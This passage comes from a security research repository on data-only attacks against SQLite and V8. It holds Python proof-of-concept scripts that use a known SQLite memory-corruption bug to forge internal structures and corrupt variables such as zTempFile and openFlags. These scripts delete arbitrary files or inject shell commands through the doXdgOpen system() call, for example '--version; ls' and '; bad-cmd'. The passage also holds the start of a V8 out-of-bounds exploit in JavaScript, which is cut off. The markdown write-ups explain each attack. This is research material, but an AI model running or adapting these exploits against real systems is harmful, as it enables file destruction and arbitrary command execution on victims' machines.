263 | raddr_Fts3Table_pSegments = raddr_Fts3Table + offset_Fts3Table_pSegments
264 | addr_Incrblob = base + raddr_Incrblob
265 | exp = writeVal(exp, raddr_Fts3Table_pSegments, addr_Incrblob)
266 |
267 | # Incrblob.db = &sqlite3
268 | offset_Incrblob_db = 0x20
269 | raddr_Incrblob_db = raddr_Incrblob + offset_Incrblob_db
270 | addr_sqlite3 = base + raddr_sqlite3
271 | exp = writeVal(exp, raddr_Incrblob_db, addr_sqlite3)
272 |
273 | # sqlite3.pnBytesFreed = &nBytesFreed (line 29385 @ sqlite3DbFreeNN)
274 | offset_sqlite3_pnBytesFreed = 0x300
275 | raddr_sqlite3_pnBytesFreed = raddr_sqlite3 + offset_sqlite3_pnBytesFreed
276 | addr_nBytesFreed = base + raddr_nBytesFreed
277 | exp = writeVal(exp, raddr_sqlite3_pnBytesFreed, addr_nBytesFreed)
278 |
279 | # sqlite3.lookaside.pTrueEnd = 0 (line 29305 @ isqlite3DbMallocSize)
280 | offset_sqlite3_lookaside_pTrueEnd = 0x1f0
281 | raddr_lookaside_pTrueEnd = raddr_sqlite3 + offset_sqlite3_lookaside_pTrueEnd
282 | pTrueEnd_val = 0
283 | exp = writeVal(exp, raddr_lookaside_pTrueEnd, pTrueEnd_val)
284 |
285 | # Incrblob.pStmt = &Vdbe (line 87440 # sqlite3_finalize)
286 | offset_Incrblob_pStmt = 0x18
287 | raddr_Incrblob_pStmt = raddr_Incrblob + offset_Incrblob_pStmt
288 | addr_Vdbe = base + raddr_Vdbe
289 | exp = writeVal(exp, raddr_Incrblob_pStmt, addr_Vdbe)
290 |
291 | # Vdbe.db = &sqlite3 (line 87441 @ sqlite3_finalize)
292 | offset_Vdbe_db = 0x0
293 | raddr_Vdbe_db = raddr_Vdbe + offset_Vdbe_db
294 | exp = writeVal(exp, raddr_Vdbe_db, addr_sqlite3)
295 |
296 | # Vdbe.eVdbeState = 1 (line 87445 @ sqlite3_finalize)
297 | offset_Vdbe_eVdbeState = 0xcd
298 | raddr_Vdbe_eVdbeState = raddr_Vdbe + offset_Vdbe_eVdbeState
299 | eVdbeState_val = 1
300 | exp = writeVal(exp, raddr_Vdbe_eVdbeState, eVdbeState_val, 1)
301 |
302 | # Vdbe.zErrMsg = src_ptr (line 85445 @ sqlite3VdbeReset)
303 | offset_Vdbe_zErrMsg = 0xa8
304 | raddr_Vdbe_zErrMsg = raddr_Vdbe + offset_Vdbe_zErrMsg
305 | src_ptr = base + raddr_malicious_content
306 | zErrMsg_val = src_ptr
307 | exp = writeVal(exp, raddr_Vdbe_zErrMsg, zErrMsg_val)
308 |
309 | # sqlite3.pErr = &sqlite3_value (line 85445 @ sqlite3VdbeReset)
310 | offset_sqlite3_pErr = 0x188
311 | raddr_sqlite3_pErr = raddr_sqlite3 + offset_sqlite3_pErr
312 | addr_sqlite3_value = base + raddr_sqlite3_value
313 | exp = writeVal(exp, raddr_sqlite3_pErr, addr_sqlite3_value)
314 |
315 | # sqlite3_value.szMalloc = 0x100 (line 80324 @ sqlite3VdbeMemClearAndResize)
316 | offset_sqlite3_value_szMalloc = 0x20
317 | raddr_sqlite3_value_szMalloc = raddr_sqlite3_value + offset_sqlite3_value_szMalloc
318 | szMalloc_val = 0x100
319 | exp = writeVal(exp, raddr_sqlite3_value_szMalloc, szMalloc_val, 4)
320 |
321 | # sqlite3_value.zMalloc = dst_ptr (line 80328 @ sqlite3VdbeMemClearAndResize)
322 | offset_sqlite3_value_zMalloc = 0x28
323 | raddr_sqlite3_value_zMalloc = raddr_sqlite3_value + offset_sqlite3_value_zMalloc
324 | zMalloc_val = dst_ptr
325 | exp = writeVal(exp, raddr_sqlite3_value_zMalloc, zMalloc_val)
326 |
327 | # put "/bin/bash" after malicious content
328 | raddr_string = raddr_malicious_content + 0x10
329 | exp = writeStr(exp, raddr_string, "--version; ls")
330 |
331 | # malicious_content = Your-bad-value
332 | exp = writeVal(exp, raddr_malicious_content, base + raddr_string)
333 |
334 | with open('/tmp/exp', 'w') as f:
335 | f.write("create table t1(c1 char);\n")
336 | f.write("insert into t1 values(x'" + exp + "');\n")
337 | f.write("create virtual table a using fts3(b);\n")
338 | f.write("insert into a values(x'" + valToLittleEndianHex(base, 8) + "');\n")
339 | f.write("select optimize(b) from a;\n")
340 | f.write("delete from a;\n")
341 | f.write("insert into a values(x'" + valToLittleEndianHex(base + safe_space_offset, 8) + "');\n")
342 | f.write("select optimize(b) from a;\n")
343 | f.write("select sqlite_version();\n")
344 |
--------------------------------------------------------------------------------
/SQLite/doXdgOpen.md:
--------------------------------------------------------------------------------
1 | # doXdgOpen
2 |
3 | ## Summary
4 |
5 | Structure `ShellState` maintains the shell session information, where `doXdgOpen` and `zTempFile` are two member fields.
6 |
7 | Here is the related code:
8 |
9 | ```c
10 | // file: shell.c
11 | // function: output_reset
12 |
13 | // p is pointing to a ShellState structure
14 | if (p->doXdgOpen) {
15 | const char *zXdgOpenCmd = "xdg-open";
16 | char *zCmd = sqlite3_mprintf("%s %s", zXdgOpenCmd, p->zTempFile);
17 | if (system(zCmd)) { ...; }
18 | }
19 | ```
20 |
21 | If `p->doXdgOpen` is `true`, it means the SQLite output was being redirected to a temporary file named by `p->zTempFile`. SQLite will open/start/xdg-open to open the file for users to check or save.
22 |
23 | * Normally, `p->doXdgOpen` is `false`
24 | * An attacker can modify `doXdgOpen` and `zTempFile` to execute any command on victim systems.
25 |
26 |
27 | ## Details
28 |
29 | Structure `ShellState` maintains the shell status information. Its defintion is as follows.
30 |
31 | ```c
32 | // in shell.c
33 |
34 | /*
35 | ** State information about the database connection is contained in an
36 | ** instance of the following structure.
37 | */
38 | typedef struct ShellState ShellState;
39 | struct ShellState {
40 | sqlite3 *db; /* The database */
41 | ...
42 | u8 doXdgOpen; /* Invoke start/open/xdg-open in output_reset() */
43 | ...
44 | char *zTempFile; /* Temporary file that might need deleting */
45 | ...
46 | };
47 | ```
48 |
49 | Users can start an SQLite shell by simply typing `./sqlite3 [path-to-database-file]` or `./sqlite3`. By default, SQLite receives the SQL query (input to SQLite) from `stdin`, and prints the query result on `stdout`. Here is an example of the SQLite shell.
50 |
51 | ```bash
52 | $ ./sqlite3
53 | sqlite> create table T (c int);
54 | sqlite> insert into T values (0), (1), (2);
55 | sqlite> select * from T;
56 | 0
57 | 1
58 | 2
59 | ```
60 |
61 | However, users may want to save the query result into a file. SQLite supports this feature with the following options.
62 |
63 | ```bash
64 | sqlite> .help
65 | .excel Display the output of next command in spreadsheet
66 | .once ?OPTIONS? ?FILE? Output for the next SQL command only to FILE
67 | .output ?FILE? Send output to FILE or stdout if FILE is omitted
68 | .testcase NAME Begin redirecting output to 'testcase-out.txt'
69 | ```
70 |
71 | More details are available at https://www.sqlite.org/cli.html#writing_results_to_a_file
72 |
73 | More than that, users may want to edit the result a little bit before saving them into a file. SQLite nicely provides the feature that will save the result into a temporary file and immediately open that file for users.
74 |
75 | ```bash
76 | sqlite> .once -E
77 | .once ?OPTIONS? ?FILE? Output for the next SQL command only to FILE
78 | If FILE begins with '|' then open as a pipe
79 | --bom Put a UTF8 byte-order mark at the beginning
80 | -e Send output to the system text editor
81 | -x Send output as CSV to a spreadsheet (same as ".excel")
82 | sqlite> .once -e
83 | sqlite> select * from T; <------- try it
84 | ```
85 |
86 | After the last SQL query, SQLite will invoke the system text-editor to open the temporary file that contains the result.
87 |
88 | The implementation of this feature is as follows. What we care about is the code for invoking the system text-editor in function `output_reset`.
89 |
90 | ```c
91 | // in shell.c
92 |
93 | /*
94 | ** Change the output file back to stdout.
95 | **
96 | ** If the p->doXdgOpen flag is set, that means the output was being
97 | ** redirected to a temporary file named by p->zTempFile. In that case,
98 | ** launch start/open/xdg-open on that temporary file.
99 | */
100 | static void output_reset(ShellState *p){
101 | if (p->outfile[0] == '|'){
102 | #ifndef SQLITE_OMIT_POPEN
103 | pclose(p->out);
104 | #endif
105 | } else {
106 | output_file_close(p->out);
107 | #ifndef SQLITE_NOHAVE_SYSTEM
108 | a: if (p->doXdgOpen) {
109 | const char *zXdgOpenCmd =
110 | #if defined(_WIN32)
111 | "start";
112 | #elif defined(__APPLE__)
113 | "open";
114 | #else
115 | "xdg-open";
116 | #endif
117 | char *zCmd;
118 | b: zCmd = sqlite3_mprintf("%s %s", zXdgOpenCmd, p->zTempFile);
119 | c: if (system(zCmd)) {
120 | utf8_printf(stderr, "Failed: [%s]\n", zCmd);
121 | } else {
122 | /* Give the start/open/xdg-open command some time to get
123 | ** going before we continue, and potential delete the
124 | ** p->zTempFile data file out from under it */
125 | sqlite3_sleep(2000);
126 | }
127 | sqlite3_free(zCmd);
128 | outputModePop(p);
129 | p->doXdgOpen = 0;
130 | }
131 | #endif /* !defined(SQLITE_NOHAVE_SYSTEM) */
132 | }
133 | p->outfile[0] = 0;
134 | p->out = stdout;
135 | }
136 | ```
137 |
138 | `output_reset` cleans up the previous output setting and restores the output to `stdout`. We focus on lines labeled with `a`, `b`, and `c`.
139 |
140 | * Line `a`: SQLite checks whether `doXdgOpen` is set. This variable is set when the user types `.once -x`, `.once -e` or `.excel`, which means the user wants SQLite to invoke system text/excel-editor to modify the result.
141 |
142 | * Line `b`: If so, SQLite will move on to construct the command `zCmd`. `zXdgOpenCmd` is the system-specific command that automatically finds proper applications to open particular-format files.
143 | * On Linux system, the shell command is `xdg-open`;
144 | * On Mac, the shell command is `open`;
145 | * On Windows, the command is `start`.
146 |
147 | The temporary file name is stored in `zTempFile`, which is predefined but can be updated by user command. This is why it is a variable, not a constant.
148 |
149 | * At last, SQLite uses line `c` to run the command, which will pop up the window of either text editor or excel editor.
150 |
151 | ## Idea for Attacks
152 |
153 | Once attackers have the capability to modify memory content, they can launch arbitrary code execution on vulnerable SQLite process in two steps.
154 |
155 | 1. Corrupt `p->doXdgOpen` to `true` (or `1`)
156 | 2. Corrupt `zTempFile` to `; bad-cmd`, where `bad-cmd` is the malicious command
157 |
158 | Then, SQLite will help execute the command `bad-cmd` for attackers.
--------------------------------------------------------------------------------
/SQLite/isDelete-attack.md:
--------------------------------------------------------------------------------
1 | # Corrupting `isDelete` to Attack `SQLite`
2 |
3 | ## Attack via Real-world (Fixed) Bugs
4 |
5 | ### 1. Gain arbitrary memory-write primitive
6 |
7 | We reuse the [bug](./cve-2017-6983.md) for achieving arbitrary memory write.
8 |
9 | #### 2. Compile SQLite
10 |
11 | ```bash
12 | # in sqlite folder
13 |
14 | CC="clang -DSQLITE_DEBUG" ./configure --enable-debug
15 | make
16 | ```
17 |
18 | ### 3. Proof-of-Concept (PoC)
19 |
20 | We need to corrupt `db->openFlags`. We disabled ASLR in this attack, so the addresses of `p` and faked structures are fixed. Bypassing ASLR is also feasible as demonstrated in page 60 of the slides. The complete PoC can be found in [isDelete-poc.py](./isDelete-poc.py).
21 |
22 | ```py
23 | # The address of openFlags
24 | openFlags = 0x651a6c
25 | # set zMalloc in sqlite3_value
26 | exp = writeVal(exp, sqlite3_value_off + 0x40, openFlags, 8)
27 | # set the value of openFlags
28 | exp = writeVal(exp, src_off, 0x100e, 4)
29 | ```
30 |
31 | ```bash
32 | # clean up sqlite cache
33 | $ rm -rf ~/.sqlite*
34 |
35 | # generate the exploit poc
36 | $ ./isDelete-exp.py
37 |
38 | # exploit it with gdb
39 | $ gdb ./sqlite3
40 | (gdb) r < /tmp/exp
41 | ```
42 |
--------------------------------------------------------------------------------
/SQLite/isDelete-poc.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | import os
4 | import sys
5 |
6 | def valToStr(value, length):
7 | b = '{num:0{width}X}'.format(num=value, width=length * 2)
8 | c = "".join(reversed([b[i:i+2] for i in range(0, len(b), 2)]))
9 | return c
10 |
11 | def writeStr(exp, off, string):
12 | exp = list(exp)
13 | string = list(string)
14 | for i in range(0, len(string)):
15 | exp[off + i] = string[i]
16 | return ''.join(exp)
17 |
18 | def writeVal(exp, off, value, length):
19 | # value = hex(value)
20 | # print(value)
21 | return writeStr(exp, off * 2, valToStr(value, length))
22 |
23 |
24 | openFlags = 0x651a6c
25 |
26 | exp = "0" * 0x800 * 2
27 |
28 | base = 0x666500
29 | fts3table_off = 0x80
30 | incrblob_off = 0x80 + 0x220
31 | vdbe_off = 0x80 + 0x220 + 0x38
32 | sqlite3_off = 0x80 + 0x220 + 0x38 + 0x138
33 | sqlite3_value_off = 0x80 + 0x220 + 0x38 + 0x138 + 0x308
34 | src_off = 0x80 + 0x220 + 0x38 + 0x138 + 0x308 + 0x48 + 0x10
35 |
36 | fts3table_base = base + fts3table_off
37 | incrblob_base = base + incrblob_off
38 | vdbe_base = base + vdbe_off
39 | sqlite3_base = base + sqlite3_off
40 | sqlite3_value_base = base + sqlite3_value_off
41 | src_base = base + src_off
42 |
43 | print("fts3table:" + hex(fts3table_base))
44 | print("incrblob:" + hex(incrblob_base))
45 | print("vdbe:" + hex(vdbe_base))
46 | print("sqlite3:" + hex(sqlite3_base))
47 | print("sqlite3_value:" + hex(sqlite3_value_base))
48 | print("src:" + hex(src_base))
49 |
50 |
51 | # pVtab
52 | exp = writeVal(exp, 0, fts3table_base, 8)
53 |
54 | # db
55 | exp = writeVal(exp, fts3table_off + 0x18, 0, 8)
56 |
57 | # pSegments
58 | exp = writeVal(exp, fts3table_off + 0x1e0, incrblob_base, 8)
59 |
60 | # pStmt
61 | exp = writeVal(exp, incrblob_off + 0x18, vdbe_base, 8)
62 |
63 | # db in Incrblob
64 | exp = writeVal(exp, incrblob_off + 0x20, sqlite3_base, 8)
65 |
66 | # db in Vdbe
67 | exp = writeVal(exp, vdbe_off, sqlite3_base, 8)
68 |
69 | # pc in Vdbe
70 | exp = writeVal(exp, vdbe_off + 0x80, 0, 4)
71 |
72 | # mutex in sqlite3
73 | exp = writeVal(exp, sqlite3_off + 0x18, 0, 8)
74 |
75 | # set nOnceFlag in Vdbe
76 | exp = writeVal(exp, vdbe_off + 0x110, 0, 4)
77 |
78 | # set pFrame in Vdbe
79 | exp = writeVal(exp, vdbe_off + 0xf0, 0, 8)
80 |
81 | # set zErrMsg in Vdbe
82 | exp = writeVal(exp, vdbe_off + 0xa8, src_base, 8)
83 |
84 | # set eVdbeState larger than 0x1 in Vdbe
85 | exp = writeVal(exp, vdbe_off + 0xcd, 0x1, 1)
86 |
87 | # set pErr in sqlite3
88 | exp = writeVal(exp, sqlite3_off + 0x188, sqlite3_value_base + 0x18, 8)
89 |
90 | # set zMalloc in sqlite3_value
91 | #exp = writeVal(exp, sqlite3_value_off + 0x40, base + 0x20, 8)
92 | exp = writeVal(exp, sqlite3_value_off + 0x40, openFlags, 8)
93 |
94 | # set szMalloc larger than 0x20, so zMalloc will not be reset in sqlite3VdbeMemGrow
95 | exp = writeVal(exp, sqlite3_value_off + 0x38, 0x30, 4)
96 |
97 | # set pnBytesFreed in sqlite3 to none zero
98 | exp = writeVal(exp, sqlite3_off + 0x300, base, 8)
99 |
100 | # set pVdbe in sqlite3 equals to Vdbe_base
101 | exp = writeVal(exp, sqlite3_off + 0x8, vdbe_base, 8)
102 |
103 | exp = writeVal(exp, src_off, 0x100e, 4)
104 |
105 | print(exp)
106 |
107 | with open('/tmp/exp', 'w') as f:
108 | f.write("create table t1(c1 char);\n")
109 | f.write("insert into t1 values(x'" + exp + "');\n")
110 | f.write("create virtual table a using fts3(b);\n")
111 | f.write("insert into a values(x'" + valToStr(base, 8) + "');\n")
112 | f.write("select hex(a) from a;\n")
113 | f.write("select optimize(b) from a;\n")
114 | f.write("attach hello as h;\n")
115 |
--------------------------------------------------------------------------------
/SQLite/isDelete.md:
--------------------------------------------------------------------------------
1 | # isDelete
2 |
3 |
4 | ## Details
5 |
6 | In SQLite, the `ATTACH` command is used to attach a database file to current database connection. The syntax is `attach path/to/db_file as xxx`
7 |
8 | SQLite will call `attachFunc` to handle the statement and will finally call `unixOpen` to open the db file.
9 |
10 | ```
11 | #0 unixOpen (pVfs=0x6495c0 ,
12 | zPath=0x6960cc "/home/hfy5130/sqlite_versions/sqlite/hello", pFile=0x695f40, flags=0x106,
13 | pOutFlags=0x7fffffffad14) at sqlite3.c:42758
14 | #1 0x0000000000476225 in sqlite3OsOpen (pVfs=0x6495c0 ,
15 | zPath=0x6960cc "/home/hfy5130/sqlite_versions/sqlite/hello", pFile=0x695f40, flags=0x106,
16 | pFlagsOut=0x7fffffffad14) at sqlite3.c:24987
17 | #2 0x0000000000475018 in sqlite3PagerOpen (pVfs=0x6495c0 , ppPager=0x695910,
18 | zFilename=0x695894 "hello", nExtra=0x88, flags=0x0, vfsFlags=0x106, xReinit=0x475600 )
19 | at sqlite3.c:60080
20 | #3 0x000000000047425f in sqlite3BtreeOpen (pVfs=0x6495c0 ,
21 | zFilename=0x695894 "hello", db=0x6862e0, ppBtree=0x693b28, flags=0x0, vfsFlags=0x106) at sqlite3.c:70718
22 | #4 0x0000000000578c9c in attachFunc (context=0x6938e0, NotUsed=0x3, argv=0x693910) at sqlite3.c:116024
23 | ```
24 |
25 | In `unixOpen`, `isDelete` is calculated from `flag` and used to determine whether to delete the attached db file.
26 |
27 | ```c
28 | int isDelete = (flags & SQLITE_OPEN_DELETEONCLOSE);
29 | if (isDelete) {
30 | ...
31 | osUnlink(zName);
32 | }
33 | ```
34 |
35 | In order to set `isDelete` to true, we need to set `flag` to proper value. We notice that the last time the value of `flag` changed is `flags = db->openFlags` in `attachFunc`. We also found that `db->openFlags` is a variable used by all databases. Therefore, we can corrupt `db->openFlags` before executing `attach hello as h`. Then, the `attach` statement set `isDelete` to true based on forged `db->openFlags` and delete target file.
36 |
37 | Note:
38 |
39 | 1. There are some `assert` checks, which are hard to bypass. However, in the released version, these `assert` are disabled.
40 | 2. `create` statement will also initialize a `db->openFlags`.
41 |
42 |
--------------------------------------------------------------------------------
/SQLite/mode.md:
--------------------------------------------------------------------------------
1 | # mode
2 |
3 | ## Summary
4 |
5 | `writefile()` is a user-defined function provided by the command-line shell to write binary data (such as BLOBs) or text from the database to the file system.
6 |
7 | For example, `writefile(X, Y)` writes the blob Y into the file named X and returns the number of bytes written. `writefile` also supports creating a symlink or directory, or changing a file's mode based on an additional `mode` argument.
8 |
9 | Examples:
10 |
11 | - `SELECT writefile('linkname', 'targetfile', 0xA1ED);`
12 | This creates a symlink named `linkname` that points to `targetfile`. The value `0xA1ED` specifies the mode for symlink creation.
13 |
14 | - `SELECT writefile('myfile', 'targetdata', 0x1A4);`
15 | This writes `targetdata` to `myfile` and sets its file mode to `644`.
16 |
17 | All these operations are determined by the `mode` parameter. Some SQLite service APIs may enforce strict sanitization when handling symlink creation requests, but apply looser checks when writing file content. An attacker could exploit this by manipulating the `mode` value to bypass sanitization, potentially creating unexpected symlinks for future attacks.
18 |
19 |
--------------------------------------------------------------------------------
/SQLite/zTempFile-attack.md:
--------------------------------------------------------------------------------
1 | # Corrupting `zTempFile`
2 |
3 | By corrupting `zTempFile` critcal variable in `SQLite`, attackers can delete arbitrary files as they want.
4 |
5 | ## Attack via Real-world (Fixed) Bugs
6 |
7 | ### 1. Gain arbitrary memory-write primitive
8 |
9 | We reuse the old bug [CVE-2017-6983](./cve-2017-6983.md) for achieving arbitrary memory write.
10 |
11 | #### 2. Compile SQLite
12 |
13 | ```bash
14 | # in sqlite folder
15 |
16 | CC="clang -DSQLITE_DEBUG" ./configure --enable-debug
17 | make
18 | ```
19 |
20 | ### 3. Proof-of-Concept (PoC)
21 |
22 | In this only attack, we only need to exploit the vulnerability once to corrupt `p->zTempFile`. We disabled ASLR in this attack, so the address of p and faked structures are fixed. Bypassing ASLR is also feasible as demonstrated in page 60 of the slide. The complete PoC can be found in [zTempFile-poc.py](./zTempFile-poc.py).
--------------------------------------------------------------------------------
/SQLite/zTempFile-poc.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | import os
4 | import sys
5 |
6 | def valToStr(value, length):
7 | b = '{num:0{width}X}'.format(num=value, width=length * 2)
8 | c = "".join(reversed([b[i:i+2] for i in range(0, len(b), 2)]))
9 | return c
10 |
11 | def writeStr(exp, off, string):
12 | exp = list(exp)
13 | string = list(string)
14 | for i in range(0, len(string)):
15 | exp[off + i] = string[i]
16 | return ''.join(exp)
17 |
18 | def writeVal(exp, off, value, length):
19 | # value = hex(value)
20 | # print(value)
21 | return writeStr(exp, off * 2, valToStr(value, length))
22 |
23 | '''
24 | The attack needs to set p->zTempFile to "hello"
25 | If the attack is successful, the file "hello" will be deleted
26 | '''
27 |
28 | shellstate = 0x7fffffffc8b8
29 |
30 | doXdgOpen = shellstate + 0xe
31 | zTempFile = shellstate + 0x98
32 |
33 | exp = "0" * 0x800 * 2
34 |
35 | base = 0x666500
36 | fts3table_off = 0x80
37 | incrblob_off = 0x80 + 0x220
38 | vdbe_off = 0x80 + 0x220 + 0x38
39 | sqlite3_off = 0x80 + 0x220 + 0x38 + 0x138
40 | sqlite3_value_off = 0x80 + 0x220 + 0x38 + 0x138 + 0x308
41 | src_off = 0x80 + 0x220 + 0x38 + 0x138 + 0x308 + 0x48 + 0x10
42 |
43 | fts3table_base = base + fts3table_off
44 | incrblob_base = base + incrblob_off
45 | vdbe_base = base + vdbe_off
46 | sqlite3_base = base + sqlite3_off
47 | sqlite3_value_base = base + sqlite3_value_off
48 | src_base = base + src_off
49 |
50 | print("fts3table:" + hex(fts3table_base))
51 | print("incrblob:" + hex(incrblob_base))
52 | print("vdbe:" + hex(vdbe_base))
53 | print("sqlite3:" + hex(sqlite3_base))
54 | print("sqlite3_value:" + hex(sqlite3_value_base))
55 | print("src:" + hex(src_base))
56 |
57 |
58 | # pVtab
59 | exp = writeVal(exp, 0, fts3table_base, 8)
60 |
61 | # db
62 | exp = writeVal(exp, fts3table_off + 0x18, 0, 8)
63 |
64 | # pSegments
65 | exp = writeVal(exp, fts3table_off + 0x1e0, incrblob_base, 8)
66 |
67 | # pStmt
68 | exp = writeVal(exp, incrblob_off + 0x18, vdbe_base, 8)
69 |
70 | # db in Incrblob
71 | exp = writeVal(exp, incrblob_off + 0x20, sqlite3_base, 8)
72 |
73 | # db in Vdbe
74 | exp = writeVal(exp, vdbe_off, sqlite3_base, 8)
75 |
76 | # pc in Vdbe
77 | exp = writeVal(exp, vdbe_off + 0x80, 0, 4)
78 |
79 | # mutex in sqlite3
80 | exp = writeVal(exp, sqlite3_off + 0x18, 0, 8)
81 |
82 | # set nOnceFlag in Vdbe
83 | exp = writeVal(exp, vdbe_off + 0x110, 0, 4)
84 |
85 | # set pFrame in Vdbe
86 | exp = writeVal(exp, vdbe_off + 0xf0, 0, 8)
87 |
88 | # set zErrMsg in Vdbe
89 | exp = writeVal(exp, vdbe_off + 0xa8, src_base, 8)
90 |
91 | # set eVdbeState larger than 0x1 in Vdbe
92 | exp = writeVal(exp, vdbe_off + 0xcd, 0x1, 1)
93 |
94 | # set pErr in sqlite3
95 | exp = writeVal(exp, sqlite3_off + 0x188, sqlite3_value_base + 0x18, 8)
96 |
97 | # set zMalloc in sqlite3_value
98 | #exp = writeVal(exp, sqlite3_value_off + 0x40, base + 0x20, 8)
99 | exp = writeVal(exp, sqlite3_value_off + 0x40, zTempFile, 8)
100 |
101 | # set szMalloc larger than 0x20, so zMalloc will not be reset in sqlite3VdbeMemGrow
102 | exp = writeVal(exp, sqlite3_value_off + 0x38, 0x30, 4)
103 |
104 | # set pnBytesFreed in sqlite3 to none zero
105 | exp = writeVal(exp, sqlite3_off + 0x300, base, 8)
106 |
107 | # set pVdbe in sqlite3 equals to Vdbe_base
108 | exp = writeVal(exp, sqlite3_off + 0x8, vdbe_base, 8)
109 |
110 | # add a src string ptr to test
111 | exp = writeVal(exp, src_off, src_base + 0x8, 8)
112 |
113 | # add a src string ";hello"
114 | exp = writeVal(exp, src_off + 0x8, 0x6f6c6c6568, 6)
115 |
116 | print(exp)
117 |
118 | with open('/tmp/exp', 'w') as f:
119 | f.write("create table t1(c1 char);\n")
120 | f.write("insert into t1 values(x'" + exp + "');\n")
121 | f.write("create virtual table a using fts3(b);\n")
122 | f.write("insert into a values(x'" + valToStr(base, 8) + "');\n")
123 | f.write("select hex(a) from a;\n")
124 | f.write("select optimize(b) from a;\n")
125 | f.write(".exit")
126 |
--------------------------------------------------------------------------------
/SQLite/zTempFile.md:
--------------------------------------------------------------------------------
1 | # zTempFile
2 |
3 | ## Summary
4 |
5 | SQLite will try to delete the temporary file (if there is one). The path of the temporary file is stored in `p->zTempFile`. `p` is a `ShellState` initialized at the very beginning. If `p->zTempFile` is not null, sqlite will call `shellDeleteFile` and then call `unlink` to delete the temp file. By modifying `p->zTempFile`, we can delete arbitrary file.
6 |
7 | Here is the related code:
8 |
9 | ```c
10 | static void clearTempFile(ShellState *p) {
11 | if( p->zTempFile==0 ) return;
12 | if( p->doXdgOpen ) return;
13 | if( shellDeleteFile(p->zTempFile) ) return;
14 | sqlite3_free(p->zTempFile);
15 | p->zTempFile = 0;
16 | }
17 | ```
--------------------------------------------------------------------------------
/V8/README.md:
--------------------------------------------------------------------------------
1 | [V8](https://v8.dev/docs) is Google’s open source high-performance JavaScript and WebAssembly engine, written in C++. It is used in Chrome and in Node.js, among others.
2 |
3 | # Source Code
4 |
5 | Our analysis is performed on version 8.5.1888. The following commands provide a way to obtain a copy of the source code.
6 |
7 | ```bash
8 | $ sudo apt install bison cdbs curl flex g++ git python vim pkg-config clang clang++
9 | $ git clone https://chromium.googlesource.com/chromium/tools/$ depot_tools.git
10 | $ export PATH=$(pwd)/depot_tools:${PATH}
11 | $ fetch v8
12 | $ cd v8
13 | $ git reset --hard 8.5.188
14 | $ gclient sync -D
15 | $ patch --directory=v8 --strip=1 < /path/to/v8.patch
16 | $ export CC="clang" CXX="clang++" BUILD_CC="clang" BUILD_CXX="clang++" LLVM_COMPILER=clang AR=llvm-ar NM=llvm-nm BUILD_AR=llvm-ar BUILD_NM=llvm-nm
17 | $ gn gen x64.debug
18 | $ cp /path/to/args.gn x64.debug
19 | $ ninja -C x64.debug "v8_monolith" "d8"
20 | ```
21 |
22 | # Critical Variables
23 |
24 | * [enable\_os\_system](enable_os_system.md)
25 |
26 | # Data-only Attacks
27 |
28 | * [enable\_os\_system-attack](enable_os_system-attack.md)
29 |
--------------------------------------------------------------------------------
/V8/args.gn:
--------------------------------------------------------------------------------
1 | # Set build arguments here. See `gn help buildargs`.
2 | cflags_c = "-O0 -g"
3 | cflags_cc = "-O0 -g"
4 | is_clang = false
5 | clang_base_path = "/usr"
6 | is_asan = false
7 | is_debug = true
8 | is_component_build = false
9 | symbol_level = 2
10 | v8_enable_backtrace = true
11 | v8_optimized_debug = false
12 | v8_enable_disassembler=true
13 | v8_enable_object_print=true
14 | v8_enable_verify_heap=true
15 | # target_cpu = "x86"
16 | use_sysroot = false
17 | use_custom_libcxx = false
18 | v8_monolithic = true
19 | # v8_target_cpu = "x86"
20 | v8_static_library = true
21 | v8_enable_i18n_support = false
22 | v8_enable_sandbox = false
23 | v8_use_external_startup_data = false
24 | clang_use_chrome_plugins=false
25 | treat_warnings_as_errors = false
26 | custom_toolchain="//build/toolchain/linux/unbundle:default"
27 | host_toolchain="//build/toolchain/linux/unbundle:default"
28 |
--------------------------------------------------------------------------------
/V8/enable_os_system-attack.md:
--------------------------------------------------------------------------------
1 | # Corrupting `enable_os_system` to Attack `V8`
2 |
3 | TODO
4 |
5 | The exploit JS file is [enable\_os\_system-poc.js](./enable_os_system-poc.js)
6 |
--------------------------------------------------------------------------------
/V8/enable_os_system-poc.js:
--------------------------------------------------------------------------------
1 | var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
2 | var module = new WebAssembly.Module(code);
3 | var instance = new WebAssembly.Instance(module);
4 | var main = instance.exports.main;
5 |
6 |
7 | function foo(y) {
8 | x = y;
9 | }
10 |
11 | function oobRead() {
12 | //addrOf b[0] and addrOf writeArr::elements
13 | return [x[20],x[24]];
14 | }
15 |
16 | function oobWrite(addr) {
17 | x[24] = addr;
18 | }
19 |
20 | var arr0 = new Array(10); arr0.fill(1);arr0.a = 1;
21 | var arr1 = new Array(10); arr1.fill(2);arr1.a = 1;
22 | var arr2 = new Array(10); arr2.fill(3); arr2.a = 1;
23 |
24 | var x = arr0;
25 |
26 | var arr = new Array(30); arr.fill(4); arr.a = 1;
27 | var b = new Array(1); b.fill(1);
28 | var writeArr = [1.1];
29 |
30 | for (let i = 0; i < 19321; i++) {
31 | if (i == 19319) arr2[0] = 1.1;
32 | foo(arr1);
33 | }
34 |
35 | x[0] = 1.1;
36 |
37 | for (let i = 0; i < 20000; i++) {
38 | oobRead();
39 | }
40 |
41 | for (let i = 0; i < 20000; i++) oobWrite(1.1);
42 | foo(arr);
43 |
44 | var view = new ArrayBuffer(24);
45 | var dblArr = new Float64Array(view);
46 | var intView = new Int32Array(view);
47 | var bigIntView = new BigInt64Array(view);
48 | b[0] = instance;
49 | var addrs = oobRead();
50 |
51 | function ftoi32(f) {
52 | dblArr[0] = f;
53 | return [intView[0], intView[1]];
54 | }
55 |
56 | function i32tof(i1, i2) {
57 | intView[0] = i1;
58 | intView[1] = i2;
59 | return dblArr[0];
60 | }
61 |
62 | function itof(i) {
63 | bigIntView = BigInt(i);
64 | return dblArr[0];
65 | }
66 |
67 | function ftoi(f) {
